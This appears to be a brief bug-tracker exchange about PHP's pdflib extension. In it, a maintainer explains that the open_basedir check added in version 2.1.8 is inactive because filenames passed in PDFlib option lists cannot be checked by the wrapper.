According to the changelog[1] this issue appears to have been
fixed as of pdflib 2.1.8:

- added php_check_open_basedir

Or can you still reproduce the bug?

[1] <http://pecl.php.net/package-changelog.php?package=pdflib&release=2.1.8>

The fix of pdflib 2.1.8 is no longer activated.

The problem is that is not sufficient to check the API's that have a filename parameter. PDFlib has several API's wich allow to pass filenames in "option lists". These cannot be checked by the wrapper code.

So the only solution would be to add a functionality similar to php_check_open_basedir() to the PDFlib library itself. This is not planed in the moment.
